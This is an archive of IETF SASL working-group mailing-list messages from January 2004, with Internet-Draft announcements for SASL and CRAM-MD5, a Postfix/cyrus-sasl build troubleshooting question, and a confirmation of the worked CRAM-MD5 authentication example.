Melnikov Filename : draft-ietf-sasl-rfc2222bis-05.txt Pages : 11 Date : 2004-1-27 SASL provides a method for adding authentication support with an optional security layer to connection-based protocols. It also describes a structure for authentication mechanisms. The result is an abstraction layer between protocols and authentication mechanisms such that any SASL-compatible authentication mechanism can be used with any SASL-compatible protocol. This document describes how a SASL authentication mechanism is structured, how a protocol adds support for SASL, defines the protocol for carrying a security layer over a connection, and defines the EXTERNAL SASL authentication mechanism. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-sasl-rfc2222bis-05.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-sasl-rfc2222bis-05.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-sasl-rfc2222bis-05.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-1-28112902.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-sasl-rfc2222bis-05.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-sasl-rfc2222bis-05.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-1-28112902.I-D@ietf.org> --OtherAccess-- --NextPart-- Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0TErIvA017245; Thu, 29 Jan 2004 06:53:18 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0TErIX7017244; Thu, 29 Jan 2004 06:53:18 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from HQ-SMTP.vsnl.co.in (mail.vsnl.co.in [202.54.117.12]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0TErGnl017231 for ; Thu, 29 Jan 2004 06:53:17 -0800 (PST) (envelope-from Internet-Drafts@ietf.org) Received: from mail pickup service by HQ-SMTP.vsnl.co.in with Microsoft SMTPSVC; Thu, 29 Jan 2004 20:14:23 +0530 Received: from asgard.ietf.org ([132.151.6.40]) by HQ-SMTP.vsnl.co.in with Microsoft SMTPSVC(5.0.2195.6713); Wed, 28 Jan 2004 22:51:03 +0530 Received: from majordomo by asgard.ietf.org with local (Exim 4.14) id 1AlsFv-000745-IQ for ietf-announce-list@asgard.ietf.org; Wed, 28 Jan 2004 11:09:31 -0500 Received: from ietf.org ([10.27.2.28]) by asgard.ietf.org with esmtp (Exim 4.14) id 1AlsEq-0006vh-G3 for all-ietf@asgard.ietf.org; Wed, 28 Jan 2004 11:08:24 -0500 Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA06724; Wed, 28 Jan 2004 11:08:20 -0500 (EST) Message-Id: <200401281608.LAA06724@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ietf-sasl@imc.org From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-sasl-crammd5-02.txt Date: Wed, 28 Jan 2004 11:08:19 -0500 X-OriginalArrivalTime: 28 Jan 2004 17:21:04.0187 (UTC) FILETIME=[1BA7C8B0:01C3E5C3] Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Simple Authentication and Security Layer Working Group of the IETF. Title : The CRAM-MD5 SASL Mechanism Author(s) : L. Nerenberg Filename : draft-ietf-sasl-crammd5-02.txt Pages : 7 Date : 2004-1-27 This document defines a simple challenge-response authentication mechanism, using a keyed-hash digest, for use with the Simple Authentication and Security Layer (SASL) A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-sasl-crammd5-02.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-sasl-crammd5-02.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-sasl-crammd5-02.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-1-28112913.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-sasl-crammd5-02.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-sasl-crammd5-02.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-1-28112913.I-D@ietf.org> --OtherAccess-- --NextPart-- Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SG8Nlg038857; Wed, 28 Jan 2004 08:08:23 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0SG8NhR038856; Wed, 28 Jan 2004 08:08:23 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SG8MsJ038849 for ; Wed, 28 Jan 2004 08:08:22 -0800 (PST) (envelope-from dinaras@cnri.reston.va.us) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA06724; Wed, 28 Jan 2004 11:08:20 -0500 (EST) Message-Id: <200401281608.LAA06724@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ietf-sasl@imc.org From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-sasl-crammd5-02.txt Date: Wed, 28 Jan 2004 11:08:19 -0500 Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Simple Authentication and Security Layer Working Group of the IETF. Title : The CRAM-MD5 SASL Mechanism Author(s) : L. Nerenberg Filename : draft-ietf-sasl-crammd5-02.txt Pages : 7 Date : 2004-1-27 This document defines a simple challenge-response authentication mechanism, using a keyed-hash digest, for use with the Simple Authentication and Security Layer (SASL) A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-sasl-crammd5-02.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-sasl-crammd5-02.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-sasl-crammd5-02.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-1-28112913.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-sasl-crammd5-02.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-sasl-crammd5-02.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-1-28112913.I-D@ietf.org> --OtherAccess-- --NextPart-- Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SG8Bla038835; Wed, 28 Jan 2004 08:08:11 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0SG8BlS038834; Wed, 28 Jan 2004 08:08:11 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SG8AoC038828 for ; Wed, 28 Jan 2004 08:08:10 -0800 (PST) (envelope-from dinaras@cnri.reston.va.us) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA06692; Wed, 28 Jan 2004 11:08:08 -0500 (EST) Message-Id: <200401281608.LAA06692@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ietf-sasl@imc.org From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-sasl-rfc2222bis-05.txt Date: Wed, 28 Jan 2004 11:08:07 -0500 Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Simple Authentication and Security Layer Working Group of the IETF. Title : Simple Authentication and Security Layer (SASL) Author(s) : A. Melnikov Filename : draft-ietf-sasl-rfc2222bis-05.txt Pages : 11 Date : 2004-1-27 SASL provides a method for adding authentication support with an optional security layer to connection-based protocols. It also describes a structure for authentication mechanisms. The result is an abstraction layer between protocols and authentication mechanisms such that any SASL-compatible authentication mechanism can be used with any SASL-compatible protocol. This document describes how a SASL authentication mechanism is structured, how a protocol adds support for SASL, defines the protocol for carrying a security layer over a connection, and defines the EXTERNAL SASL authentication mechanism. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-sasl-rfc2222bis-05.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-sasl-rfc2222bis-05.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-sasl-rfc2222bis-05.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-1-28112902.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-sasl-rfc2222bis-05.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-sasl-rfc2222bis-05.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-1-28112902.I-D@ietf.org> --OtherAccess-- --NextPart-- Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0PJLjBw013225; Sun, 25 Jan 2004 11:21:45 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0PJLjTx013224; Sun, 25 Jan 2004 11:21:45 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from eagle.oceana.com ([208.17.123.12]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0PJLiKB013217 for ; Sun, 25 Jan 2004 11:21:44 -0800 (PST) (envelope-from ken@oceana.com) Received: from oceana.com (69-161-93-210.bflony.adelphia.net [69.161.93.210]) (authenticated bits=0) by eagle.oceana.com (8.12.11/8.12.11) with ESMTP id i0PJLYfD009502 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Sun, 25 Jan 2004 14:21:36 -0500 (EST) Message-ID: <4014173B.2020003@oceana.com> Date: Sun, 25 Jan 2004 14:21:31 -0500 From: Ken Murchison Reply-To: Cyrus SASL Mailing List Organization: Oceana Matrix Ltd. User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en,pdf MIME-Version: 1.0 To: "Jesus C. Valero Cantu" , Cyrus SASL Mailing List CC: ietf-sasl@imc.org Subject: Re: OpenBSD 3.4 & cyrus-sasl-2.1.17 References: <006701c3e22b$d3caa4d0$2207ea94@dsi.uanl.mx> In-Reply-To: <006701c3e22b$d3caa4d0$2207ea94@dsi.uanl.mx> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: I'm moving this discussion to the cyrus-sasl list where it it more appropriate. Jesus C. Valero Cantu wrote: > Hi everybody. > > I'm trying to implement, Postfix SMTP AUTH with cyrus-sasl mysql plugin. > > At compiling time, i see messages like this > > mv -f .libs/login_init.lo login_init.lo > /bin/sh ../libtool --mode=link gcc -Wall -W -g -O2 -module > -export-dynamic -rpath /usr/lib/sasl2 -L/usr/lib -o liblogin.la > -version-info 2:17:0 login.lo login_init.lo plugin_common.lo -lresolv > rm -fr .libs/liblogin.la .libs/liblogin.* .libs/liblogin.* > > *** Warning: This library needs some functionality provided by -lresolv. > *** I have the capability to make that library automatically link in when > *** you link to this library. But I can only do this if you have a > *** shared version of the library, which you do not appear to have. > > *** Warning: libtool could not satisfy all declared inter-library > *** dependencies of module liblogin. Therefore, libtool will create > *** a static module, that should work as long as the dlopening > *** application is linked with the -dlopen flag. > ar cru .libs/liblogin.a login.o login_init.o plugin_common.o > ranlib .libs/liblogin.a > creating liblogin.la > mv -f .libs/plugin_common.lo plugin_common.lo > /bin/sh ../libtool --mode=link gcc -Wall -W -g -O2 -L/usr/lib -o > libsasl2.la -rpath /usr/local/lib -version-info 2:17:0 auxprop.lo > canonusr.lo checkpw.lo client.lo common.lo config.lo external.lo md5.lo > saslutil.lo server.lo seterror.lo dlopen.lo plugin_common.lo -lresolv > rm -fr .libs/libsasl2.la .libs/libsasl2.* .libs/libsasl2.* > > *** Warning: This library needs some functionality provided by -lresolv. > *** I have the capability to make that library automatically link in when > *** you link to this library. But I can only do this if you have a > *** shared version of the library, which you do not appear to have. > *** The inter-library dependencies that have been dropped here will be > *** automatically added whenever a program is linked with this library > *** or is declared to -dlopen it. > cc -shared -fPIC -o .libs/libsasl2.so.2.17 auxprop.lo canonusr.lo > checkpw.lo client.lo common.lo config.lo external.lo md5.lo saslutil.lo > server.lo seterror.lo dlopen.lo plugin_common.lo -L/usr/lib > -- > > Then i set up /usr/lib/sasl2 links to /usr/local/lib/sasl2, for libsql.a > and libsql.la then i try to connect with postfix and i see this in logs. > > smtp postfix/smtpd[23793]: fatal: no SASL authentication mechanisms > smtp postfix/master[29064]: warning: process /usr/libexec/postfix/smtpd > pid 16234 exit status 1 > smtp postfix/master[29064]: warning: /usr/libexec/postfix/smtpd: bad > command startup -- throttling > smtp postfix/master[29064]: warning: process /usr/libexec/postfix/smtpd > pid 783 exit status 1 > and this > > smtp postfix/smtpd[10835]: Could not find a dlname line in .la file: > libsql.la > > . > I supose i see the openbsd port for cyrus-sasl2, it had libsasl.so.2.13 > but i don't get this when i compile from source package. > > Somebody knows what's going on? what i need? > > Thank you. > > Jesus -- Kenneth Murchison Oceana Matrix Ltd. Software Engineer 21 Princeton Place 716-662-8973 x26 Orchard Park, NY 14127 --PGP Public Key-- http://www.oceana.com/~ken/ksm.pgp Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0OJGGib055797; Sat, 24 Jan 2004 11:16:16 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0OJGGcl055796; Sat, 24 Jan 2004 11:16:16 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from spork.sendmail.com (spork.sendmail.com [209.246.26.39]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0OJGFib055790 for ; Sat, 24 Jan 2004 11:16:15 -0800 (PST) (envelope-from guenther@sendmail.com) Received: from katroo.Sendmail.COM (natted.sendmail.com [63.211.143.38]) by spork.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i0OJGEHx022535; Sat, 24 Jan 2004 11:16:14 -0800 (PST) Received: from functor.smi.sendmail.com (functor.smi.sendmail.com [10.210.202.37]) by katroo.Sendmail.COM (8.11.7a/8.11.7) with ESMTP id i0OJGEn17813; Sat, 24 Jan 2004 11:16:14 -0800 (PST) Message-Id: <200401241916.i0OJGEn17813@katroo.Sendmail.COM> To: Lyndon Nerenberg Cc: ietf-sasl@imc.org From: Philip Guenther Subject: Re: CRAM-MD5 examples In-reply-to: <2147483647.1074771184@localhost> References: <2147483647.1074771184@localhost> Date: Sat, 24 Jan 2004 11:16:14 -0800 Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Lyndon Nerenberg writes: > >Simon also proposed corrected text for the examples. Since my main >server is still in a box I don't have access to my SASL tools, so I >would appreciate it if someone could run these new examples and provide >independent verification of their correctness. They verify as correct, both the encoding and the hashing. Philip Guenther Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0O3lHib034393; Fri, 23 Jan 2004 19:47:17 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0O3lHKO034392; Fri, 23 Jan 2004 19:47:17 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from core.noc.uanl.mx (core.noc.uanl.mx [148.234.7.52]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0O3lGib034386 for ; Fri, 23 Jan 2004 19:47:16 -0800 (PST) (envelope-from jcvalero@redes.uanl.mx) Received: from redes13 (redes13.dsi.uanl.mx [148.234.7.34]) by core.noc.uanl.mx (Postfix) with SMTP id AA8825C24 for ; Fri, 23 Jan 2004 21:47:19 -0600 (CST) Message-ID: <006701c3e22b$d3caa4d0$2207ea94@dsi.uanl.mx> From: "Jesus C. Valero Cantu" To: Subject: OpenBSD 3.4 & cyrus-sasl-2.1.17 Date: Fri, 23 Jan 2004 21:40:36 -0600 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0064_01C3E1F9.891D2200" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: This is a multi-part message in MIME format. ------=_NextPart_000_0064_01C3E1F9.891D2200 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi everybody. I'm trying to implement, Postfix SMTP AUTH with cyrus-sasl mysql = plugin. At compiling time, i see messages like this mv -f .libs/login_init.lo login_init.lo /bin/sh ../libtool --mode=3Dlink gcc -Wall -W -g -O2 -module = -export-dynamic -rpath /usr/lib/sasl2 -L/usr/lib -o liblogin.la = -version-info 2:17:0 login.lo login_init.lo plugin_common.lo -lresolv rm -fr .libs/liblogin.la .libs/liblogin.* .libs/liblogin.* *** Warning: This library needs some functionality provided by -lresolv. *** I have the capability to make that library automatically link in = when *** you link to this library. But I can only do this if you have a *** shared version of the library, which you do not appear to have. *** Warning: libtool could not satisfy all declared inter-library *** dependencies of module liblogin. Therefore, libtool will create *** a static module, that should work as long as the dlopening *** application is linked with the -dlopen flag. ar cru .libs/liblogin.a login.o login_init.o plugin_common.o=20 ranlib .libs/liblogin.a creating liblogin.la mv -f .libs/plugin_common.lo plugin_common.lo /bin/sh ../libtool --mode=3Dlink gcc -Wall -W -g -O2 -L/usr/lib -o = libsasl2.la -rpath /usr/local/lib -version-info 2:17:0 auxprop.lo = canonusr.lo checkpw.lo client.lo common.lo config.lo external.lo md5.lo = saslutil.lo server.lo seterror.lo dlopen.lo plugin_common.lo = -lresolv rm -fr .libs/libsasl2.la .libs/libsasl2.* .libs/libsasl2.* *** Warning: This library needs some functionality provided by -lresolv. *** I have the capability to make that library automatically link in = when *** you link to this library. But I can only do this if you have a *** shared version of the library, which you do not appear to have. *** The inter-library dependencies that have been dropped here will be *** automatically added whenever a program is linked with this library *** or is declared to -dlopen it. cc -shared -fPIC -o .libs/libsasl2.so.2.17 auxprop.lo canonusr.lo = checkpw.lo client.lo common.lo config.lo external.lo md5.lo saslutil.lo = server.lo seterror.lo dlopen.lo plugin_common.lo -L/usr/lib=20 -- Then i set up /usr/lib/sasl2 links to /usr/local/lib/sasl2, for libsql.a = and libsql.la then i try to connect with postfix and i see this in logs. smtp postfix/smtpd[23793]: fatal: no SASL authentication mechanisms smtp postfix/master[29064]: warning: process /usr/libexec/postfix/smtpd = pid 16234 exit status 1 smtp postfix/master[29064]: warning: /usr/libexec/postfix/smtpd: bad = command startup -- throttling smtp postfix/master[29064]: warning: process /usr/libexec/postfix/smtpd = pid 783 exit status 1 and this smtp postfix/smtpd[10835]: Could not find a dlname line in .la file: = libsql.la .=20 I supose i see the openbsd port for cyrus-sasl2, it had libsasl.so.2.13 = but i don't get this when i compile from source package. Somebody knows what's going on? what i need? Thank you. Jesus ------=_NextPart_000_0064_01C3E1F9.891D2200 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi everybody.
 
I'm trying to implement, = Postfix SMTP AUTH=20 with cyrus-sasl  mysql plugin.
 
At compiling time, i see messages = like=20 this
 
mv -f .libs/login_init.lo = login_init.lo
/bin/sh=20 ../libtool --mode=3Dlink gcc  -Wall -W -g -O2  -module = -export-dynamic=20 -rpath /usr/lib/sasl2 -L/usr/lib -o liblogin.la  -version-info = 2:17:0=20 login.lo login_init.lo plugin_common.lo   -lresolv
rm -fr=20 .libs/liblogin.la .libs/liblogin.* .libs/liblogin.*
 
*** Warning: This library needs some = functionality=20 provided by -lresolv.
*** I have the capability to make that library=20 automatically link in when
*** you link to this library.  But I = can only=20 do this if you have a
*** shared version of the library, which you do = not=20 appear to have.
 
*** Warning: libtool could not satisfy = all declared=20 inter-library
*** dependencies of module liblogin.  Therefore, = libtool=20 will create
*** a static module, that should work as long as the=20 dlopening
*** application is linked with the -dlopen flag.
ar cru=20 .libs/liblogin.a  login.o login_init.o plugin_common.o
ranlib=20 .libs/liblogin.a
creating liblogin.la
mv -f .libs/plugin_common.lo=20 plugin_common.lo
/bin/sh ../libtool --mode=3Dlink gcc  -Wall -W = -g=20 -O2   -L/usr/lib -o libsasl2.la -rpath /usr/local/lib = -version-info=20 2:17:0 auxprop.lo canonusr.lo checkpw.lo client.lo common.lo  = config.lo=20 external.lo md5.lo saslutil.lo server.lo seterror.lo  dlopen.lo=20 plugin_common.lo     -lresolv
rm -fr = .libs/libsasl2.la=20 .libs/libsasl2.* .libs/libsasl2.*
 
*** Warning: This library needs some = functionality=20 provided by -lresolv.
*** I have the capability to make that library=20 automatically link in when
*** you link to this library.  But I = can only=20 do this if you have a
*** shared version of the library, which you do = not=20 appear to have.
*** The inter-library dependencies that have been = dropped=20 here will be
*** automatically added whenever a program is linked = with this=20 library
*** or is declared to -dlopen it.
cc -shared  -fPIC = -o=20 .libs/libsasl2.so.2.17  auxprop.lo canonusr.lo checkpw.lo client.lo = common.lo config.lo external.lo md5.lo saslutil.lo server.lo seterror.lo = dlopen.lo plugin_common.lo  -L/usr/lib
--
 
Then i set up /usr/lib/sasl2 links to=20 /usr/local/lib/sasl2, for libsql.a and libsql.la then i try to connect = with=20 postfix and i see this in logs.
 
 smtp postfix/smtpd[23793]: fatal: = no SASL=20 authentication mechanisms
 smtp postfix/master[29064]: warning: = process=20 /usr/libexec/postfix/smtpd pid 16234 exit status 1
 smtp=20 postfix/master[29064]: warning: /usr/libexec/postfix/smtpd: bad command = startup=20 -- throttling
 smtp postfix/master[29064]: warning: process=20 /usr/libexec/postfix/smtpd pid 783 exit status 1
and this
 
smtp postfix/smtpd[10835]: Could not = find a dlname=20 line in .la file: libsql.la
 
.
I supose i see the openbsd port for = cyrus-sasl2, it=20 had libsasl.so.2.13 but i don't get this when i compile from source=20 package.
 
Somebody knows what's going on? = what i=20 need?
 
Thank you.
 
Jesus
------=_NextPart_000_0064_01C3E1F9.891D2200-- Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0NL6Kib018874; Fri, 23 Jan 2004 13:06:22 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0NL6JvA018872; Fri, 23 Jan 2004 13:06:19 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from peregrin.orthanc.ca (209-139-252-102.canadawired.com [209.139.252.102] (may be forged)) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0NL6Hib018857 for ; Fri, 23 Jan 2004 13:06:18 -0800 (PST) (envelope-from lyndon@orthanc.ca) Received: from 209-139-252-102.canadawired.com (localhost [127.0.0.1]) by peregrin.orthanc.ca (Postfix) with ESMTP id 04A5B67007 for ; Fri, 23 Jan 2004 13:06:05 -0800 (PST) Date: Thu, 22 Jan 2004 11:33:04 -0800 From: Lyndon Nerenberg To: ietf-sasl@imc.org Subject: CRAM-MD5 examples Message-ID: <2147483647.1074771184@localhost> X-Mailer: Mulberry/3.1.0 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Simon also proposed corrected text for the examples. Since my main server is still in a box I don't have access to my SASL tools, so I would appreciate it if someone could run these new examples and provide independent verification of their correctness. S: * OK [CAPABILITY IMAP4rev1 STARTTLS LOGINDISABLED AUTH=CRAM-MD5] C: A0001 AUTHENTICATE CRAM-MD5 S: + PDE4OTYuNjk3MTcwOTUyQHBvc3RvZmZpY2UuZXhhbXBsZS5uZXQ+ C: am9lIDNkYmM4OGYwNjI0Nzc2YTczN2IzOTA5M2Y2ZWI2NDI3 S: A0001 OK CRAM-MD5 authentication successful In this example, the shared secret is the string tanstaaftanstaaf Hence, the Keyed MD5 digest is produced by calculating MD5((tanstaaftanstaaf XOR opad), MD5((tanstaaftanstaaf XOR ipad), <1896.697170952@postoffice.example.net>)) where ipad and opad are as defined in [KEYED-MD5] and the string shown in the challenge is the base64 encoding of <1896.697170952@postoffice.example.net>. The shared secret is null-padded to a length of 64 bytes. If the shared secret is longer than 64 bytes, the MD5 digest of the shared secret is used as a 16 byte input to the keyed MD5 calculation. This produces a digest value (in hexadecimal) of 3dbc88f0624776a737b39093f6eb6427 The user name is then prepended to it, forming joe 3dbc88f0624776a737b39093f6eb6427 Which is then base64 encoded to meet the requirements of the IMAP4 AUTHENTICATE command (or the similar POP3 AUTH command), yielding am9lIDNkYmM4OGYwNjI0Nzc2YTczN2IzOTA5M2Y2ZWI2NDI3 